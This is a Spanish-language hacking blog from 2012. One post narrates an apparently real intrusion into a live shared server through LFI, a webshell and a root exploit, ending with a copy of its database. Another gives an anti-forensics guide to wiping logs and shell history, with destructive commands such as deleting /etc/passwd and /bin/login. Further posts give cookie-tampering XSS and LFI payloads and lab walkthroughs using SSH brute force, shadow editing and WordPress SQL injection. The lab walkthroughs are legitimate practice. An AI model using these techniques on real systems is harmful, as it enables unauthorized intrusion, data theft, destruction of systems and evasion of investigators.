Pasamos por alto un sin fín de oportunidades, utilizar el FPD para subir una shell desde SQL, bypassear el uploader, incrustar un PHP en pleno index con la shell...

Nuestro objetivo no fué más que lograr una infiltración al área restringida (Panel de administración)

Como siempre digo, Antes de correr, hay que saber andar.

Un saludo.

[Doc.] Relato de una intrusión: Un Miserable LFI

2012-06-07T04:41:00.000-07:00

Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos www.site.com.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.php?Page=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos, de los cuales no obtuve datos relevantes.

Un saludo!

[Rastreo] Eliminación de huellas

2012-06-07T04:22:00.002-07:00

No me hago responsable del mal uso de este artículo.

Existen tantos tipos de huellas, como tipos de ataques realizados.
Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...
Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.

A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.
La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:

rm /etc/passwd
rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login

B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell
Los directorios más comunes son:

apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log

Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.
C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.

D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fue, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.

F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.

G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)

H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.

I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.

J) Cuidado con el syslog.
J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.

K) Comandos de interés:

-Who: Lista usuarios activos.
-last: Ultimo inicio de sesión de usuario.
-ps: Procesos activos.
-lastcom / hostory: Comandos realizados. Véase apartado C.

L) Ficheros peligrosos:

-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Despedida:
¿Salir ileso? Sólo te salva la ignorancia del que esté detrás.
Este tutorial va dedicado a Vengador (The X-Cell), 11Sep, RemoteExecution, a todo OverSec.org

Se aceptan críticas, sugerencias, y amenazas de muerte.

Como siempre digo: "Para saber hacer, hay que saber que haces"

Un saludo!

Insecure Cookie Handling

2012-06-07T04:05:00.001-07:00

Aburrido, y tras un tiempo sin escribir nada, se me ocurrió escribir algo sobre Insecure Cookie Handling... Ahí va.

¿Qué es?

Es una mala filtración o mal uso de las cookies, donde se almacena información sensible que puede ser alterado con facilidad.
Nivel: Muy bajo.

Potencia: Elevada

Ejemplo:

if(isset($_COOKIE["UID"]))
{
if($_COOKIE["UID"]=="Administrador")
{
echo "Bienvenido, administrador";
} else {
echo "Acceso restringido";
}
} else {
echo "Debes Logearte";
}
?>

Lo pruebo desde mi máquina, y como es lógico me dice que debo loggearme.

Así que pediremos ayuda a Live HTTP Headers, y con el editamos la cookie.

Debes loggearte: Cookie: usuario=yo-mismo
No autorizado: Cookie: usuario=yo-mismo;UID=Usuario
Acceso a admin: Cookie: usuario=yo-mismo;UID=Administrador

Es increible la cantidad de sitios web vulnerables a este ataque, de una u otra forma.

Explicación:

Cuando haya que realizar alguna comprobación sensible, cono en este caso, debe estar todo protegido (quizas un MD5&SALT lo solucionase rápido)... Esto provoca todo tipo de vulnerabilidades, ya que te deja una puerta abierta.

Según el uso, quizás podais lograr algún LFI, XSS, PHPi, SQLi, o más fallos que intentar provocar... Siempre suele caer algo, por pequeño que sea

Ejemplo #2 ~ XSS:

if(isset($_COOKIE["usuario"]))
{
echo "Hola, ".$_COOKIE["usuario"];
} else {
echo "Inicia sesión";
}
?>

Cookie: usuario=<script>alert(document.cookie);</script>

Ejemplo #3 ~ LFI:

if(isset($_COOKIE["file"]))

{

include($_COOKIE["file"]);

} else {

include("Home.php");

}

?>

Cookie: usuario=../../../../../../../../../../../../../../etc/passwd

Este ya un tanto más ridículo xD

Despedida: Confío les haya sido de utilidad. Cualquier duda en este mismo tema.

Un saludo!

[Relato] Entorno de seguridad DE-Ice v2

2012-06-05T06:56:00.002-07:00

Trasteando aburrido, descargué dos sistemas de seguridad controlados para practicar un Test de Intrusión. Estas son DE-ICE v1 y V2 respectivamente.

Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.

¿Qué necesitaremos?

Dos máquinas virtuales

De-ICE v2

Backtrack 5

¿Cuáles serán nuestros objetivos?

Webcrawling
Accesar servidor
Obtener privilegios de ROOT

¿Reglas?

-No Exploit

Empieza la fiesta.

Lo primero que haremos será unir las dos máquinas virtuales. A de-ice se le asigna por defecto la subred 192.168.2.*.

Esto se puede realizar con el siguiente comando:

ifconfig eth0 192.168.2.150

Siendo 150 una dirección libre, y eth0 su interfaz de red.

Procedamos pues a localizar el servidor.

Aremos uso de Netdiscover, o en su defecto, NMAP -sP 192.168.2.*.

Veamos que tenemos por aquí.

Currently scanning: 192.168.19.0/16 | Screen View: Unique Hosts

2 Captured ARP Req/Rep packets, fro.m 2 hosts. Total size: 120

_____________________________________________________________________________

IP At MAC Address Count Len MAC Vendor

-----------------------------------------------------------------------------

192.168.2.100 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS

192.168.2.101 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS

Tenemos dos sistemas. Escaneamos con NMAP para obtener resultados.

nmap -sV 192.168.2.100 - nmap -sV 192.168.2.101

-Primer host:

PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.4
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https

FTP vulnerable... Pero no utilizaremos exploits, ni para atacar, ni para escalar privilegios.

Vemos que el segundo únicamente tiene el puerto 80. Si accedemos a el via web, no vemos más que unos ficheros. Si accedemos a 192.168.2.100, vemos una página Web. Pincho el enlace y veo direcciones de correo. Está claro: Hay un servicio de correo, por lo que habrán dichos usuarios, "seguramente".

Buscando amigos

Seleccionamos la lista de correo, y la limpiamos de forma que simplemente quede el nombre del usuario, argegando el signo ~ (user) para tratar de brutalizar, haber si encontramos algún directorio de interés.

Ésta es mi lista:

root
admin
~root
~admin
~pickwick
~winkle
~snodgrass
~tupman
~weller
~tweller
~havisham
~magwitch
~pirrip
~nickleby
~rnickleby
~noggs
~squeers
~pinch
~tapley
~gamp
~marley
~scrooge
~cratchit
~sikes
~dawkins
~claypole

Brutalizamos con DirBuster en 192.168.2.101 y vemos que hay un usuario, pirrip. Tratemos si con un poco de suerte existe la carpeta .ssh.

http://192.168.2.101/~pirrip/.ssh

Ahí tenemos los id_rsa y id_rsa.pub, esperándonos boxing

Lo almacenamos en /root/.ssh/ y damos permisos 777.

Intruder Here

Procedamos a conectar via SSH.

ssh pirrip@192.168.2.100

Tachán! estamos dentro.

You Have New Mail

Entramos y leemos el correo. Hagamos uso de mailx para leer el séptimo correo.
En el vemos:

root@bt:~# ssh pirrip@192.168.2.100
Linux 2.6.16.

pirrip@slax:~$ mailx
mailx version nail 11.25 7/29/05. Type ? for help.
"/var/mail/pirrip": 7 messages 7 new
>N 1 Abel Magwitch Sun Jan 13 23:53 20/748 Estella
N 2 Estella Havisham Sun Jan 13 23:53 20/780 welcome to the team
N 3 Abel Magwitch Sun Jan 13 23:53 20/875 havisham
N 4 Estella Havisham Mon Jan 14 00:05 20/861 next month
N 5 Abel Magwitch Mon Jan 14 00:05 20/868 vacation
N 6 Abel Magwitch Mon Jan 14 00:05 20/915 vacation
N 7 noreply@fermion.he Mon Jan 14 00:05 29/983 Fermion Account Login Reminder
? 7

Leemos el correo:

From noreply@fermion.herot.net Mon Jan 14 00:05:15 2008

Return-Path:
From: noreply@fermion.herot.net
Date: Sun, 13 Jan 2008 23:54:42 +0000
To: pirrip@slax.example.net
Subject: Fermion Account Login Reminder
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Fermion Account Login Reminder

Listed below are your Fermion Account login credentials. Please let us know if you have any questions or problems.

Regards,
Fermion Support

E-Mail: pirrip@slax.example.net

Password: 0l1v3rTw1st

Tenemos una clave suculenta...

Fín!

Hagamos uso de una vieja técnica.
Editamos el fichero /etc/shadows, eliminamos el usuario ROOT y sustituimos pirrip por ROOT. De esta forma nos damos privilegios.

sudo vi /etc/shadow

Ahí ingresaremos la clave que nos facilitó nuestro amigo via mail baba
Antes:

root:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::

Después:

bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
root:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::

Guardamos, y tratamos de entrar como superadministrador. Recordemos la clave: 0l1v3rTw1st.
Aclaración: Esto fué posible debido a que el usuario pirrip corre bajo permisos Wheel.

pirrip@slax:~$ su

Password: ***********

root@slax:/home/pirrip# whoami
root

root@slax:/home/pirrip#

GAME OVER!

Dedicación: 11Sep, [T]rasher, Batista, Exploit-Shell, en fin, a todo OverSec!

[Relato] Entorno de seguridad DE-Ice v1

2012-06-05T06:35:00.000-07:00

Esta vez vengo con DE-Ice v1.0.
Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.

¿Qué necesitaremos?
-Dos máquinas virtuales
-De-ICE v1
-Backtrack 5
-Diccionario de claves comunes inglesas

¿Cuáles serán nuestros objetivos?
-Mapeo de red
-Análisis de red
-Fuerza bruta a servicio
-Fuerza bruta a shadow
-Root

¿Reglas?
-No Exploit

Allá que vamos

Escaneamos las redes para localizar a nuestra presa.

netdiscover
Currently scanning: 192.168.1.0/16 | Screen View: ARP Reply

1 Captured ARP Reply packets, from 1 hosts. Total size: 60
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.1.100 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS

Identificamos servicvios con NMAP:

root@bt:/# nmap -sV 192.168.1.100
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-02 22:07 CET
Nmap scan report for 192.168.1.100
Host is up (0.0070s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd (broken: could not bind listening IPv4 socket)
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https
MAC Address: 08:00:27:B1:50:12 (Cadmus Computer Systems)
Service Info: Host: slax.example.net; OS: Unix
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.29 seconds

Dejando huella

Vemos que tenemnos varios servicios, excepto uno: FTP. No nos permite conexiones IPv4.
Entramos via HTTP, y nos fijamos que la página nos muestra unos correos. Alteremoslos.
Esto fué lo que obtuve:

addams

aadams

adaams

damsaa

adamsa

banterb

bbanter

banterb

anterbb

bbanteerbb

coffeec

cooffec

ccoffee

coooffe

cooofef

coofefc

cooffee

Lanzamos medusa tratando de tener suerte.

medusa -h 192.168.1.100 -U user -P user -M ssh

¡Bingo! Nos encuentra un usuario. Mismo usuario y clave.

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adaams (3 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: damsaa (4 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adamsa (5 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: banterb (6 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: bbanter (7 of 17 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: bbanter Password: bbanter [SUCCESS]

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: addams (1 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: aadams (2 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adaams (3 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: damsaa (4 of 17 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adamsa (5 of 17 complete)

Decepción

Accedo vía SSH:root@bt:/pentest/passwords/john# ssh bbanter@192.168.1.100

bbanter@192.168.1.100's password:

Pero si tratamos de hacer un cat /etc/shadow, como es lógico, nos dirá que nuestro siguiente comando es:

exit

Si antes leemos el /etc/passwd, veremos que el usuario aadams se las trae con otros permisos.

Pidiendo auxilio a la medusa

Intentemos con otro diccionario:

root@bt:/pentest/passwords/john# medusa -h 192.168.1.100 -U user -P list.lst -M ssh

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: fuckyou (578 of 675 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: matthew (579 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: miller (560 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: ou82 (561 of 675 complete)

ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: aadams Password: nostradamus [SUCCESS]

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: tiger (562 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: trustno1 (563 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: 12345678 (564 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: alex (565 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: windows (566 of 675 complete)

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: flipper (567 of 675 complete)

Nos muestra el usuario aadams, con su consiguiente clave.
Entramos via SSH, y obtenemos el fichero.

Root Success

root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100

aadams@192.168.1.100's password:

Linux 2.6.16.

aadams@slax:~$ sudo cat /etc/shadow

Password:

root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::

bin:*:9797:0:::::

daemon:*:9797:0:::::

adm:*:9797:0:::::

lp:*:9797:0:::::

sync:*:9797:0:::::

shutdown:*:9797:0:::::

halt:*:9797:0:::::

mail:*:9797:0:::::

news:*:9797:0:::::

uucp:*:9797:0:::::

operator:*:9797:0:::::

games:*:9797:0:::::

ftp:*:9797:0:::::

smmsp:*:9797:0:::::

mysql:*:9797:0:::::

rpc:*:9797:0:::::

sshd:*:9797:0:::::

gdm:*:9797:0:::::

pop:*:9797:0:::::

nobody:*:9797:0:::::

aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::

aadams@slax:~$

Salimos.

exit

Crackeamos.

root@bt:/pentest/passwords/john# ./john --rules --wordlist=list.lst shadow
El resultado se lo dejo a su imaginación, para no estropear el reto, regalando la clave.
Resultado final:

root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100

aadams@192.168.1.100's password:

Linux 2.6.16.

aadams@slax:~$ su

Password: *****

root@slax:/home/aadams# whoami
root

root@slax:/home/aadams#

Hasta la próxima.

Dedicación: OverSec.org, RemoteExecution.info, http://malware-reversing.com.ar, CPH

Saludos

Explotando Wordpress en Damn Vulnerable Linux 1.5

2012-06-05T06:06:00.000-07:00

Requisitos mínimos:

Máquina virtual
512Mb RAM disponibles
Damn Vulnerable Linux 1.5, Infección contagiosa (Vaya tela de título)

Conocimientos previos:

PHP & SQL
Injecciones y funcionamiento de tal

Buscando vulnerabilidad

Buscando entre dicho blog, confirmé que había una vulnerabilidad SQLi en las categorías.
Esta, como en la mayoría de los casos, es explotable vía Get, cosa que en algunos caso no es así.

Comienza el juego

Lo que hice, fué asignar un número falso, para rechazar la consulta inicial, y poder ejecutar las consultas SQL.

?cat = 999999

Me respondía "Not Fond". Esto no significa que deje de ser vulnerable.
A continuación procedí a identificar el número de columas de dicha tabla, para buscar la columna vulnerable en la que me basé.

?cat = 999999 UNION SELECT 1,2

?cat = 999999 UNION SELECT 1,2,3

?cat = 999999 UNION SELECT 1,2,3,4

?cat = 999999 UNION SELECT 1,2,3,4,5

Al llegar a la quinta columna, supe que la segunda era vulnerable. ¿Cómo? Traduciendo del inglés, sabemos cuando NO hemos llegado.

The used SELECT statements have a different number of columns

En pantalla se podía apreciar el siguiente texto:

Archive for the '2' category

Sustituimos el número 2 por el número 99 y vemos:

Archive for the '99' category

No hay duda.

Removiendo la tierra

Para ver el usuario y host de la base de datos, simplemente hice la petición USER().

Esto me devolvió:

root@localhost

La injección quedaba así:

?cat = 999999 UNION SELECT 1,USER(),3,4,5

XD! Tener una base de datos como ROOT es estar loco. Teniendo en cuenta la seguridad que ahí se manifestaba me dije: Ni me hará falta buscar la base de datos y columnas, ya que estoy seguro que tendrá los mismo datos.
Para buscar el nombre de la base de datos, simplemente induje un error.

?cat = 999999 UNION SELECT 1,jejeje,2,3,4 from Hola

Table wordpress.Hola doesn't exist.

Cada vez estaba más seguro. Procedí así con la injección.

Contact Administrator

Por si alguien desconoce estos datos, procedí con la base de datos wordpress, los cuales por defecto son:

Tabla: wp_users
Columnas: user_login, user_pass

Continué con la injección:

?cat = 999999 UNION SELECT 1,COUNT(*),3,4,5 from wp_users

Aclaración: COUNT(*) se utiliza para enumerar las columnas.

Archive for the '1' category

Sólo tenía un registro. Procedí con la injección final:

?cat = 999999 UNION SELECT 1,user_login,3,4,5 from wp_users

?cat = 999999 UNION SELECT 1,user_pass,3,4,5 from wp_users

Primer resultado:

Archive for the 'Admin' category

Segundo resultado:

Archive for the '7b24afc8bc80e548d66c4e7ff72171c5' category

Click derecho, Buscar en Google, y concluí que la clave era toor.

Dejando huella

Accedí a la página principal del blog, y más abajo vi el login de usuarios.
Me logeé con el usuario y clave del administrador, y procedí a crear un "Yo Estube Aquí", que, al ser un entorno controlado y totalmente simulado, realicé.

Fín del juego.

Un saludo.